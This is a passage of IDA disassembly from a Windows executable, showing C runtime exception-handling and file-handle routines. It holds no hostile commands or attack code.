		jnz	short loc_4123B9
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41238B


loc_4123AA:				; CODE XREF: sub_412284+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_412379
		jmp	short loc_4123DD
; ---------------------------------------------------------------------------


loc_4123B9:				; CODE XREF: sub_412284+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4125E4
		add	esp, 2Ch


loc_4123DD:				; CODE XREF: sub_412284+F3j
					; sub_412284+133j
		mov	edi, [ebp+var_10]


loc_4123E0:				; CODE XREF: sub_412284+DEj
					; sub_412284+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_412354
; ---------------------------------------------------------------------------


loc_4123EB:				; CODE XREF: sub_412284+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_4123FB
		push	1
		push	esi
		call	sub_412959
		pop	ecx
		pop	ecx


loc_4123FB:				; CODE XREF: sub_412284+56j
					; sub_412284+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_412400:				; CODE XREF: sub_412284+37j
					; sub_412284+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_412426
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41242B
		add	esp, 20h
		jmp	short loc_4123FB
; ---------------------------------------------------------------------------


loc_412426:				; CODE XREF: sub_412284+180j
		jmp	sub_412A3C
sub_412284	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41242B	proc near		; CODE XREF: sub_412284+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_481E38, 0
		push	esi
		push	edi
		jz	short loc_41245C
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D142
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4124CF


loc_41245C:				; CODE XREF: sub_41242B+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_40D26B
		add	esp, 14h
		mov	esi, eax


loc_412478:				; CODE XREF: sub_41242B+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_4124CF
		cmp	edi, [esi]
		jl	short loc_4124C7
		cmp	edi, [esi+4]
		jg	short loc_4124C7
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_4124A1
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_4124C7


loc_4124A1:				; CODE XREF: sub_41242B+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4125E4
		add	esp, 2Ch


loc_4124C7:				; CODE XREF: sub_41242B+57j
					; sub_41242B+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_412478
; ---------------------------------------------------------------------------


loc_4124CF:				; CODE XREF: sub_41242B+2Fj
					; sub_41242B+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41242B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124D3	proc near		; CODE XREF: sub_412284+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41252A
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41252A
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_412504
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412526


loc_412504:				; CODE XREF: sub_4124D3+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41250E
		test	byte ptr [edi],	8
		jz	short loc_412526


loc_41250E:				; CODE XREF: sub_4124D3+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41251D
		test	byte ptr [edi],	1
		jz	short loc_412526


loc_41251D:				; CODE XREF: sub_4124D3+43j
		test	al, 2
		jz	short loc_41252A
		test	byte ptr [edi],	2
		jnz	short loc_41252A


loc_412526:				; CODE XREF: sub_4124D3+2Fj
					; sub_4124D3+39j ...
		xor	eax, eax
		jmp	short loc_41252D
; ---------------------------------------------------------------------------


loc_41252A:				; CODE XREF: sub_4124D3+Bj
					; sub_4124D3+14j ...
		push	1
		pop	eax


loc_41252D:				; CODE XREF: sub_4124D3+55j
		pop	edi
		pop	esi
		retn
sub_4124D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412530	proc near		; CODE XREF: sub_4121E9+34p
					; sub_4125E4+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4187F0
		push	offset sub_414568
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_412562:				; CODE XREF: sub_412530+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4125BC
		cmp	esi, 0FFFFFFFFh
		jle	short loc_412571
		cmp	esi, [edi+4]
		jl	short loc_412576


loc_412571:				; CODE XREF: sub_412530+3Aj
		call	sub_412A92


loc_412576:				; CODE XREF: sub_412530+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_412591
		push	103h
		push	ebx
		push	eax
		call	sub_4129F0


loc_412591:				; CODE XREF: sub_412530+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4125B1
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4125CE
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4125B1:				; CODE XREF: sub_412530+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_412562
; ---------------------------------------------------------------------------


loc_4125BC:				; CODE XREF: sub_412530+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412530	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125CE	proc near		; CODE XREF: sub_412530+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4125DF
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4125DF:				; CODE XREF: sub_4125CE+Cj
		jmp	sub_412A3C
sub_4125CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125E4	proc near		; CODE XREF: sub_412284+151p
					; sub_41242B+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_412606
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_412795
		add	esp, 10h


loc_412606:				; CODE XREF: sub_4125E4+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_412612
		push	edi
		jmp	short loc_412615
; ---------------------------------------------------------------------------


loc_412612:				; CODE XREF: sub_4125E4+29j
		push	[ebp+arg_24]


loc_412615:				; CODE XREF: sub_4125E4+2Cj
		call	sub_40D044
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_412530
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41265F
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41265A
		push	edi
		push	eax
		call	sub_40D002


loc_41265A:				; CODE XREF: sub_4125E4+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4125E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41265F	proc near		; CODE XREF: sub_4125E4+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_418800
		push	offset sub_414568
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_481E30
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_481E34
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_481E30, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_481E34, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_40D0C9
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_412725
		mov	eax, [ebp+var_2C]


loc_4126EC:				; CODE XREF: sub_412705+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41265F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4126FB	proc near		; DATA XREF: .nsp0:00418810o
		push	dword ptr [ebp-14h]
		call	sub_41276B
		pop	ecx
		retn
sub_4126FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_412705	proc near		; DATA XREF: .nsp0:00418814o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_40D32A
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_4126EC
sub_412705	endp

; ---------------------------------------------------------------------------


loc_41271D:				; DATA XREF: .nsp0:00418808o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_412725	proc near		; CODE XREF: sub_41265F+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_481E30, eax
		mov	eax, [ebp-20h]
		mov	dword_481E34, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41276A
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41276A
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41276A
		cmp	[ebp-24h], ebx
		jnz	short locret_41276A
		cmp	[ebp-2Ch], ebx
		jz	short locret_41276A
		call	sub_40D392
		push	eax
		push	edi
		call	sub_412959
		pop	ecx
		pop	ecx

locret_41276A:				; CODE XREF: sub_412725+1Cj
					; sub_412725+22j ...
		retn
sub_412725	endp


; =============== S U B	R O U T	I N E =======================================



sub_41276B	proc near		; CODE XREF: sub_4126FB+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_412792
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_412792
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_412792
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_412792
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_412792:				; CODE XREF: sub_41276B+Cj
					; sub_41276B+12j ...
		xor	eax, eax
		retn
sub_41276B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412795	proc near		; CODE XREF: sub_4125E4+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_418818
		push	offset sub_414568
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41293E
		cmp	byte ptr [eax+8], 0
		jz	loc_41293E
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41293E
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_412832
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_4153E0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_412935
		push	1
		push	edi
		call	sub_4153FC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_412935
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_412823:				; CODE XREF: sub_412795+F5j
		push	eax
		call	sub_4129C0
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41293A
; ---------------------------------------------------------------------------


loc_412832:				; CODE XREF: sub_412795+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41288C
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_4153E0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_412935
		push	1
		push	edi
		call	sub_4153FC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_412935
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_40D460
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41293A
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41293A
		add	esi, 8
		push	esi
		jmp	short loc_412823
; ---------------------------------------------------------------------------


loc_41288C:				; CODE XREF: sub_412795+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_4128D4
		call	sub_4153E0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_412935
		push	1
		push	edi
		call	sub_4153FC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_412935
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4129C0
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_40D460
		add	esp, 0Ch
		jmp	short loc_41293A
; ---------------------------------------------------------------------------


loc_4128D4:				; CODE XREF: sub_412795+103j
		call	sub_4153E0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_412935
		push	1
		push	edi
		call	sub_4153FC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_412935
		push	dword ptr [esi+18h]
		call	sub_415418
		pop	ecx
		test	eax, eax
		jz	short loc_412935
		test	byte ptr [esi],	4
		jz	short loc_41291B
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4129C0
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_40D03D
		jmp	short loc_41293A
; ---------------------------------------------------------------------------


loc_41291B:				; CODE XREF: sub_412795+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4129C0
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_40D036
		jmp	short loc_41293A
; ---------------------------------------------------------------------------


loc_412935:				; CODE XREF: sub_412795+6Aj
					; sub_412795+7Cj ...
		call	sub_412A92


loc_41293A:				; CODE XREF: sub_412795+98j
					; sub_412795+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_41293E:				; CODE XREF: sub_412795+2Ej
					; sub_412795+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412795	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_412A3C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412959	proc near		; CODE XREF: sub_412284+170p
					; sub_412725+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_418828
		push	offset sub_414568
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4129A0
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4129A0
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_40D036
		or	[ebp+var_4], 0FFFFFFFFh


loc_4129A0:				; CODE XREF: sub_412959+2Aj
					; sub_412959+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412959	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_412A3C

; =============== S U B	R O U T	I N E =======================================



sub_4129C0	proc near		; CODE XREF: sub_412795+8Fp
					; sub_412795+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_4129E1
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_4129E1:				; CODE XREF: sub_4129C0+12j
		pop	esi
		retn
sub_4129C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4129F0	proc near		; CODE XREF: sub_40D0C9+40p
					; sub_412530+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_40D3B5
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_412A2F
		mov	ecx, 2


loc_412A2F:				; CODE XREF: sub_4129F0+38j
		push	ecx
		call	sub_40D3B5
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_4129F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A3C	proc near		; CODE XREF: sub_412284:loc_412426j
					; sub_4125CE:loc_4125DFj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00415430 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_418838
		push	offset sub_414568
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_481E3C
		test	eax, eax
		jz	short loc_412A84
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_412A80
; ---------------------------------------------------------------------------


loc_412A79:				; DATA XREF: .nsp0:00418848o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_412A7D:				; DATA XREF: .nsp0:0041884Co
		mov	esp, [ebp+var_18]


loc_412A80:				; CODE XREF: sub_412A3C+3Bj
		and	[ebp+var_4], 0


loc_412A84:				; CODE XREF: sub_412A3C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_412A8D:				; DATA XREF: .nsp0:00418840o
		jmp	loc_415430
sub_412A3C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A92	proc near		; CODE XREF: sub_40D26B+23p
					; sub_40D26B:loc_40D2D6p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_418850
		push	offset sub_414568
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_421DF4
		test	eax, eax
		jz	short loc_412ADA
		mov	[ebp+var_4], 1
		call	eax ; sub_412A3C
		jmp	short loc_412AD6
; ---------------------------------------------------------------------------


loc_412ACF:				; DATA XREF: .nsp0:00418860o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_412AD3:				; DATA XREF: .nsp0:00418864o
		mov	esp, [ebp+var_18]


loc_412AD6:				; CODE XREF: sub_412A92+3Bj
		and	[ebp+var_4], 0


loc_412ADA:				; CODE XREF: sub_412A92+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_412AE3:				; DATA XREF: .nsp0:00418858o
		jmp	sub_412A3C
sub_412A92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412AE8	proc near		; CODE XREF: sub_40D7A3+7p
					; sub_40D7A3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_483428
		push	esi
		cmp	eax, 3
		jnz	short loc_412B11
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_4102C8
		test	eax, eax
		pop	ecx
		jz	short loc_412B0E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_412B46
; ---------------------------------------------------------------------------


loc_412B0E:				; CODE XREF: sub_412AE8+1Cj
		push	esi
		jmp	short loc_412B38
; ---------------------------------------------------------------------------


loc_412B11:				; CODE XREF: sub_412AE8+Ej
		cmp	eax, 2
		jnz	short loc_412B35
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_411023
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_412B35
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_412B46
; ---------------------------------------------------------------------------


loc_412B35:				; CODE XREF: sub_412AE8+2Cj
					; sub_412AE8+43j
		push	[ebp+arg_0]


loc_412B38:				; CODE XREF: sub_412AE8+27j
		push	0
		push	dword_483424
		call	dword_418150	; RtlSizeHeap


loc_412B46:				; CODE XREF: sub_412AE8+24j
					; sub_412AE8+4Bj
		pop	esi
		leave
		retn
sub_412AE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B49	proc near		; CODE XREF: sub_40D934+17p
					; sub_40D934+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_412B67
		mov	ecx, off_421DF8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_412BB9
; ---------------------------------------------------------------------------


loc_412B67:				; CODE XREF: sub_412B49+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_421DF8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_412B8C
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_412B95
; ---------------------------------------------------------------------------


loc_412B8C:				; CODE XREF: sub_412B49+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_412B95:				; CODE XREF: sub_412B49+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_415447
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_412BB5
		leave
		retn
; ---------------------------------------------------------------------------


loc_412BB5:				; CODE XREF: sub_412B49+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_412BB9:				; CODE XREF: sub_412B49+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_412B49	endp


; =============== S U B	R O U T	I N E =======================================



sub_412BBE	proc near		; CODE XREF: sub_40D9CA+2Ap
					; sub_4157AA+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4831E0
		jnb	loc_412C58
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4830E0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_412C58
		push	edi
		call	sub_415716
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_412C37
		cmp	edi, 1
		jz	short loc_412C05
		cmp	edi, 2
		jnz	short loc_412C1B


loc_412C05:				; CODE XREF: sub_412BBE+40j
		push	2
		call	sub_415716
		push	1
		mov	ebp, eax
		call	sub_415716
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_412C37


loc_412C1B:				; CODE XREF: sub_412BBE+45j
		push	edi
		call	sub_415716
		pop	ecx
		push	eax
		call	dword_41807C	; CloseHandle
		test	eax, eax
		jnz	short loc_412C37
		call	dword_418044	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_412C39
; ---------------------------------------------------------------------------


loc_412C37:				; CODE XREF: sub_412BBE+3Bj
					; sub_412BBE+5Bj ...
		xor	ebp, ebp


loc_412C39:				; CODE XREF: sub_412BBE+77j
		push	edi
		call	sub_41569C
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_412C54
		push	ebp
		call	sub_413260
		pop	ecx
		jmp	short loc_412C69
; ---------------------------------------------------------------------------


loc_412C54:				; CODE XREF: sub_412BBE+8Bj
		xor	eax, eax
		jmp	short loc_412C6C
